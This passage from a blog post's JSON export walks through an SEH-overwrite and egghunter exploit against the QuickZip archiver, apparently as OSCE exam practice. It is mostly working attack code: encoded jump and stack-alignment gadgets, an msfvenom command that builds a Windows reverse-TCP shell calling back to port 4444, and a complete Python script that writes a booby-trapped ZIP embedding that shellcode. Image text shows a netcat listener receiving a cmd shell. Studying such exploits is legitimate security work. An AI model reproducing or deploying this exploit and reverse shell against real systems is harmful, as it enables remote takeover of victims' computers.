EAX&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x42\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555342&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x42\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555342&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x2d\\x44\\x53\\x55\\x55&#8221;&nbsp; # SUB EAX, 0x55555344&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x50&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # PUSH EAX&nbsp;&nbsp;&nbsp;&nbsp;&#8220;\\x5c&#8221;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # POP ESP)<br># 26 bytesencoded_jmp_edx = (&nbsp;&nbsp;&#8220;\\x25\\x4a\\x4d\\x4e\\x55&#8221;&nbsp; # AND EAX,0x554E4D4A&nbsp;&nbsp;&#8220;\\x25\\x35\\x32\\x31\\x2a&#8221;&nbsp; # AND EAX,0x2A313235&nbsp;&nbsp;&#8220;\\x2d\\x25\\x25\\x55\\x5e&#8221;&nbsp; # SUB EAX,0x5e552525&nbsp;&nbsp;&#8220;\\x2d\\x25\\x25\\x55\\x5e&#8221;&nbsp; # SUB EAX,0x5e552525&nbsp;&nbsp;&#8220;\\x2d\\x26\\x25\\x56\\x60&#8221;&nbsp; # SUB EAX,0x60562526&nbsp;&nbsp;&#8220;\\x50&#8221;&nbsp; # PUSH EAX)<br># will be total of 294offset = &#8220;A&#8221;*26 + encoded_egghunter + &#8220;A&#8221;*28 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # total of 171offset += &#8220;B&#8221;*4 + shellcode_to_edx + decode_stack_alignment + encoded_jmp_edxoffset += &#8220;C&#8221;*(123-4-len(shellcode_to_edx)-len(decode_stack_alignment)-len(encoded_jmp_edx))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>nseh = &#8220;\\x71\\x9f\\x70\\x9f&#8221;seh = &#8220;\\x33\\x28\\x42\\x00&#8221;&nbsp; &nbsp; &nbsp; # pop pop ret 00422833<br>junk = &#8220;D&#8221;* (4064-298-4)<br>payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2>Final Exploit and Shellcode<\/h2>\n\n\n\n<p>msfvenom -p windows\/shell_reverse_tcp LHOST=192.168.1.3 LPORT=4444 -e x86\/alpha_mixed -a x86 &#8211;platform windows -f python -v shellcode<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/2BXlBvYloq8a3npx6kY1Nb3FQuTnzne5unGdT0anaNqcIRgiGu2u41c52Gk_bazKyTVsymRIACdvmIlD2y0wpe9PCHvIzHo49tPOGaUaaRg7yF2JxAWYrE0v1Tnkl7TiFx-iLNYT\" alt=\"re assessment specialist needed \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nLe I Icode \nrghunter \noot@kalisa: \n[1B2.16B. \n1. \n600 . : $. \n7B, 134 \nhome\/kalisa\/OSCE\/vuln-a sl uickzi \nx6f\\ x5B \nx6f\\ x55 \nx66 \nx3 x55\\ x51 \nx3 x56 \nx51\\ x51\\ x46 \nx3 x6f \nProgress \nProgress Log \nx7a\\ x35\\ x6d\\ x6d\\ \n\\ x 62 \\ x4f\\ x 6.3b \nMessage . \nfile(s) not found \n&quot;JJJJJJJJJJJJJJJJJQRY \nClose \ntdll. \nKiFastSystemCa11Ret \nSCI 1 \n&quot;cmd&quot; \ntdll. \nKiFastSystemCa11Ret \n2bit \nO<FFFFFFFF) \n2bit \nO<FFFFFFFF) \n2bit \nO<FFFFFFFF) \n2bit \nO<FFFFFFFF) \n2bit \nULL \nRROR_SUCCESS \nroot@kalisa: \nroot.\u00dfkal isa: \nlistening on \nroot.\u00dfkal isa: \nlistening on \n# nc \n[ any] \n# nc \n[ any] \n\u2014n I vp \n4444 \n4444 . \n\u2014n I vp \n4444 \n4444 . \nconnect. to [1B2.16a.1.3] from \nMicrosoft Tdindows XP [Version 5. 1.2600] \n(C) Copyright IBB5\u20142001 Microsoft Corp. \n4] \n1252 \nC : DOCUMENI\\ ADMINI-I\\ LOCALS-I \\ Temp\\ QZTEMP&gt; \nx55\\ x35\\ x3 1 \\ x5a\\ x56\\ x55\\ x5a\\ x. \nEll code to edx = \nx55\\ x5c\\ x55\\ x5A \n:code stack aligmnent. \nx5c \nx55\\ x55\\ x55\\ x55\\ x53\\ x55' \nx55\\ x35\\ x3 x55\\ \ncoded jmp edx = \n+ egghunter + \n4 \n+ shell code to edx + decode stack aligmnent. + encoded jmp edx \n(shell code to edx) (decode stack aligmnent.) (encoded \n-imp \nedx) \nE68 \nE68 \nE68 \n198 \nCE8 \nF68 \n020 \n001 \n198 \n..J. QuickZip.\u00d8\u00d84Q\u00d8\u00d8\u00d8\u00d8 \n. N. QuickZip.\u00d8\u00d84E\u00d8\u00d8\u00d8\u00d8 \n:eh = \nxgf \n!mona encode -t alphanum -s \nToo long (recurs iue?) SEH chain \nRunn ing\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>#!\/usr\/bin\/python<br>header_1 = (&#8220;\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00&#8221;)<br>header_2 = (&#8220;\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00&#8243;&#8221;\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;)<br>header_3 = (&#8220;\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00&#8243;&#8221;\\x12\\x10\\x00\\x00\\x02\\x10\\x00\\x00\\x00\\x00&#8221;)<br># 710 bytesshellcode =&nbsp; &#8220;w00tw00t&#8221;shellcode += &#8220;\\x89\\xe1\\xdb\\xda\\xd9\\x71\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49&#8243;shellcode += &#8220;\\x49\\x49\\x49\\x49\\x49\\x49\\x43\\x43\\x43\\x43\\x43\\x43\\x37\\x51&#8243;shellcode += &#8220;\\x5a\\x6a\\x41\\x58\\x50\\x30\\x41\\x30\\x41\\x6b\\x41\\x41\\x51\\x32&#8243;shellcode += &#8220;\\x41\\x42\\x32\\x42\\x42\\x30\\x42\\x42\\x41\\x42\\x58\\x50\\x38\\x41&#8243;shellcode += &#8220;\\x42\\x75\\x4a\\x49\\x4b\\x4c\\x4d\\x38\\x4f\\x72\\x57\\x70\\x35\\x50&#8243;shellcode += &#8220;\\x77\\x70\\x65\\x30\\x4f\\x79\\x69\\x75\\x64\\x71\\x6b\\x70\\x50\\x64&#8243;shellcode += &#8220;\\x4e\\x6b\\x36\\x30\\x30\\x30\\x4e\\x6b\\x70\\x52\\x34\\x4c\\x6c\\x4b&#8221;shellcode += &#8220;\\x72\\x72\\x76\\x74\\x6e\\x6b\\x62\\x52\\x37\\x58\\x44\\x4f\\x6d\\x67&#8243;shellcode += &#8220;\\x50\\x4a\\x66\\x46\\x75\\x61\\x4b\\x4f\\x6c\\x6c\\x77\\x4c\\x71\\x71&#8243;shellcode += &#8220;\\x31\\x6c\\x77\\x72\\x44\\x6c\\x57\\x50\\x6b\\x71\\x7a\\x6f\\x64\\x4d&#8221;shellcode += &#8220;\\x57\\x71\\x48\\x47\\x7a\\x42\\x4c\\x32\\x52\\x72\\x46\\x37\\x6e\\x6b&#8221;shellcode += &#8220;\\x43\\x62\\x34\\x50\\x4e\\x6b\\x32\\x6a\\x77\\x4c\\x4e\\x6b\\x32\\x6c&#8221;shellcode += &#8220;\\x67\\x61\\x31\\x68\\x48\\x63\\x53\\x78\\x37\\x71\\x6e\\x31\\x43\\x61&#8243;shellcode += &#8220;\\x6c\\x4b\\x53\\x69\\x35\\x70\\x66\\x61\\x4a\\x73\\x4e\\x6b\\x50\\x49&#8243;shellcode += &#8220;\\x37\\x68\\x7a\\x43\\x35\\x6a\\x47\\x39\\x4e\\x6b\\x46\\x54\\x6c\\x4b&#8221;shellcode += &#8220;\\x56\\x61\\x48\\x56\\x30\\x31\\x79\\x6f\\x6c\\x6c\\x79\\x51\\x38\\x4f&#8221;shellcode += &#8220;\\x74\\x4d\\x53\\x31\\x5a\\x67\\x70\\x38\\x79\\x70\\x71\\x65\\x39\\x66&#8243;shellcode += &#8220;\\x34\\x43\\x51\\x6d\\x4b\\x48\\x77\\x4b\\x51\\x6d\\x45\\x74\\x64\\x35&#8243;shellcode += &#8220;\\x59\\x74\\x70\\x58\\x4e\\x6b\\x53\\x68\\x75\\x74\\x36\\x61\\x68\\x53&#8243;shellcode += &#8220;\\x33\\x56\\x6e\\x6b\\x74\\x4c\\x30\\x4b\\x6e\\x6b\\x63\\x68\\x67\\x6c&#8221;shellcode += &#8220;\\x57\\x71\\x5a\\x73\\x4c\\x4b\\x34\\x44\\x6c\\x4b\\x53\\x31\\x58\\x50&#8243;shellcode += &#8220;\\x6e\\x69\\x63\\x74\\x66\\x44\\x44\\x64\\x63\\x6b\\x31\\x4b\\x61\\x71&#8243;shellcode += &#8220;\\x70\\x59\\x51\\x4a\\x56\\x31\\x39\\x6f\\x6d\\x30\\x51\\x4f\\x31\\x4f&#8221;shellcode += &#8220;\\x51\\x4a\\x6c\\x4b\\x32\\x32\\x7a\\x4b\\x6e\\x6d\\x73\\x6d\\x42\\x48&#8243;shellcode += &#8220;\\x30\\x33\\x67\\x42\\x53\\x30\\x75\\x50\\x55\\x38\\x31\\x67\\x32\\x53&#8243;shellcode += &#8220;\\x76\\x52\\x51\\x4f\\x73\\x64\\x73\\x58\\x52\\x6c\\x50\\x77\\x47\\x56&#8243;shellcode += &#8220;\\x53\\x37\\x4b\\x4f\\x4b\\x65\\x68\\x38\\x6e\\x70\\x36\\x61\\x73\\x30&#8243;shellcode += &#8220;\\x77\\x70\\x31\\x39\\x6a\\x64\\x43\\x64\\x50\\x50\\x33\\x58\\x76\\x49&#8243;shellcode += &#8220;\\x4b\\x30\\x72\\x4b\\x55\\x50\\x59\\x6f\\x48\\x55\\x76\\x30\\x36\\x30&#8243;shellcode += &#8220;\\x52\\x70\\x32\\x70\\x73\\x70\\x52\\x70\\x37\\x30\\x62\\x70\\x72\\x48&#8243;shellcode += &#8220;\\x78\\x6a\\x54\\x4f\\x59\\x4f\\x4b\\x50\\x4b\\x4f\\x69\\x45\\x4c\\x57&#8243;shellcode += &#8220;\\x31\\x7a\\x44\\x45\\x50\\x68\\x79\\x50\\x4d\\x78\\x67\\x71\\x32\\x31&#8243;shellcode += &#8220;\\x55\\x38\\x67\\x72\\x47\\x70\\x64\\x51\\x61\\x4c\\x6c\\x49\\x68\\x66&#8243;shellcode += &#8220;\\x30\\x6a\\x36\\x70\\x42\\x76\\x73\\x67\\x55\\x38\\x4c\\x59\\x6c\\x65&#8243;shellcode += &#8220;\\x51\\x64\\x53\\x51\\x79\\x6f\\x6b\\x65\\x4f\\x75\\x6b\\x70\\x50\\x74&#8243;shellcode += &#8220;\\x74\\x4c\\x69\\x6f\\x70\\x4e\\x56\\x68\\x74\\x35\\x68\\x6c\\x73\\x58&#8243;shellcode += &#8220;\\x38\\x70\\x78\\x35\\x59\\x32\\x30\\x56\\x6b\\x4f\\x4e\\x35\\x31\\x78&#8243;shellcode += &#8220;\\x63\\x53\\x50\\x6d\\x70\\x64\\x35\\x50\\x4f\\x79\\x7a\\x43\\x72\\x77&#8243;shellcode += &#8220;\\x71\\x47\\x42\\x77\\x70\\x31\\x78\\x76\\x33\\x5a\\x77\\x62\\x52\\x79&#8243;shellcode += &#8220;\\x31\\x46\\x49\\x72\\x39\\x6d\\x63\\x56\\x6f\\x37\\x47\\x34\\x37\\x54&#8243;shellcode += &#8220;\\x57\\x4c\\x57\\x71\\x45\\x51\\x6c\\x4d\\x31\\x54\\x46\\x44\\x64\\x50&#8243;shellcode += &#8220;\\x7a\\x66\\x73\\x30\\x33\\x74\\x66\\x34\\x32\\x70\\x62\\x76\\x66\\x36&#8243;shellcode += &#8220;\\x30\\x56\\x53\\x76\\x62\\x76\\x30\\x4e\\x42\\x76\\x63\\x66\\x71\\x43&#8243;shellcode += &#8220;\\x53\\x66\\x55\\x38\\x70\\x79\\x5a\\x6c\\x67\\x4f\\x6b\\x36\\x59\\x6f&#8221;shellcode += &#8220;\\x78\\x55\\x6b\\x39\\x39\\x70\\x30\\x4e\\x61\\x46\\x52\\x66\\x39\\x6f&#8221;shellcode += &#8220;\\x70\\x30\\x32\\x48\\x74\\x48\\x6d\\x57\\x65\\x4d\\x53\\x50\\x69\\x6f&#8221;shellcode += &#8220;\\x4b\\x65\\x4d\\x6b\\x4c\\x30\\x78\\x35\\x39\\x32\\x52\\x76\\x63\\x58&#8243;shellcode += &#8220;\\x4e\\x46\\x4f\\x65\\x6d\\x6d\\x6d\\x4d\\x6b\\x4f\\x38\\x55\\x45\\x6c&#8221;shellcode += &#8220;\\x57\\x76\\x53\\x4c\\x77\\x7a\\x6b\\x30\\x4b\\x4b\\x79\\x70\\x54\\x35&#8243;shellcode += &#8220;\\x67\\x75\\x4f\\x4b\\x50\\x47\\x74\\x53\\x30\\x72\\x62\\x4f\\x50\\x6a&#8221;shellcode += &#8220;\\x67\\x70\\x72\\x73\\x6b\\x4f\\x59\\x45\\x41\\x41&#8221;<br># 117 bytes#egghunter = (&#8220;JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI2FMQyZYovoBbqBcZwrpXZm4nwLveCjd48omh3GP0VPCDlKijNO0uYznOt5HgkO8gAA&#8221;)<br>egghunter = (&#8220;JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI2FmQIZYoFoPB0Rpj321HhMfNUl4ERzbTzOOHPwp0FPCDLK8zlo3ExjloBUIwYom7AA&#8221;)<br># 27 bytesshellcode_to_edx = (&#8220;\\x25\\x4a\\x4d\\x4e\\x55\\x25\\x35\\x32\\x31\\x2a\\x2d\\x5a\\x56\\x4e\\x55\\x2d\\x5a\\x56\\x4e\\x55\\x2d\\x5c\\x58\\x50\\x55\\x50\\x5A&#8221;)<br># 19 bytesdecode_stack_alignment = (&#8220;\\x54\\x58\\x2d\\x42\\x53\\x55\\x55\\x2d\\x42\\x53\\x55\\x55\\x2d\\x44\\x53\\x55\\x55\\x50\\x5c&#8221;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br># 26 bytesencoded_jmp_edx = (&#8220;\\x25\\x4a\\x4d\\x4e\\x55\\x25\\x35\\x32\\x31\\x2a\\x2d\\x25\\x25\\x55\\x5e\\x2d\\x25\\x25\\x55\\x5e\\x2d\\x26\\x25\\x56\\x60\\x50&#8221;)<br># 171 &#8211; 117 = 54\/2 = 27offset = &#8220;A&#8221;*26 + egghunter + &#8220;A&#8221;*28offset += &#8220;B&#8221; * 4 + shellcode_to_edx + decode_stack_alignment + encoded_jmp_edxoffset += &#8220;C&#8221;*(123-4-len(shellcode_to_edx)-len(decode_stack_alignment)-len(encoded_jmp_edx))nseh = &#8220;\\x71\\x9f\\x70\\x9f&#8221;&nbsp;seh = &#8220;\\x33\\x28\\x42\\x00&#8221; &nbsp; &nbsp; #00422833<br>junk = &#8220;D&#8221;* 4 + shellcode+ &#8220;D&#8221;* (4064-294-4-4-4-len(shellcode))payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<br>exploit = header_1 + payload + header_2 + payload + header_3<br>myfile = open(&#8216;try.zip&#8217;,&#8217;w&#8217;);myfile.write(exploit);myfile.close()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Explanation<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>|&nbsp; Encoded shellcode&nbsp; |&nbsp; 0012FAF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;|&nbsp; A buffer start &nbsp; &nbsp; |&nbsp; 0012FB63&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; jmp here (seh)&nbsp; &nbsp; |&nbsp; 0012FB81&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; shellcode_to_edx&nbsp; |&nbsp; 0012FB85 (edx=12faf0 holds shellcode)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; stack align &nbsp; &nbsp; &nbsp; |&nbsp; 0012FBA0 (esp = 12FBF8)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; jmp_edx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp; 0012FBB3 (esp = 12FBF4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; B buffer start&nbsp; &nbsp; |&nbsp; 0012FBCD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; JMP EDX &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp; 0012FBF6 &nbsp; (jump to 0012FAF0)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; A buffer ends &nbsp; &nbsp; |&nbsp; 0012FBFB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| &nbsp; JMP back (nseh) &nbsp; |&nbsp; 0012FBFC<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/txtJRlmvN-YqbX3USqaSNni_-WPl_2R2htJCPxm0MsyJhPv0lNYoQgRhtgk9TgKt-XD8km5bHKKDYqmVmqIGfjqPvZFtFM4T2VLXA3Qbp-inD0fwBUB2C7ZaDiUYW1QzkPnBeQdh\" alt=\"Encoded shellcode \nA buffer start \njmp here (seh) \nshellcode to edx \nstack align \n0012FAFO \n0012863 \n0012881 \n0012F885 (edx=12faf0 holds shellcode) \n0012F8AO (esp 12F8F8) \n0012883 (esp 12F8F4) \njmp_edx \n8 buffer \nEDX \nA buffer \nJMP back \nstart \nends \n(nseh) \n0012F8CD \n0012F8F6 \n0012F8F8 \n0012F8FC \n(jump to 0012FAFO)\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Initial Script #!\/usr\/bin\/pythonheader_1 = (&#8220;\\x50\\x4B\\x03\\x04\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00&#8221;)header_2 = (&#8220;\\x50\\x4B\\x01\\x02\\x14\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\xB7\\xAC\\xCE\\x34\\x00\\x00\\x00&#8243;&#8221;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe4\\x0f\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00&#8243;&#8221;\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;)header_3 = (&#8220;\\x50\\x4B\\x05\\x06\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00&#8243;&#8221;\\x12\\x10\\x00\\x00\\x02\\x10\\x00\\x00\\x00\\x00&#8221;)payload = &#8220;A&#8221; * 4064payload += &#8220;.txt&#8221;exploit = header_1 + payload + header_2 + payload + header_3myfile = open(&#8216;kalisa.zip&#8217;,&#8217;w&#8217;);myfile.write(exploit);myfile.close() Crash Open the zip file, attach immunity, try to extract (where the crash happens) Offset SEH Chain After Shift + F9 Seh chain again Offset EIP Control POP-POP-RET&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/19\/\">Continue reading <span class=\"screen-reader-text\">SEH + Egghunter QuickZip Exploit<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[18],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/19"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=19"}],"version-history":[{"count":2,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/19\/revisions"}],"predecessor-version":[{"id":21,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/19\/revisions\/21"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}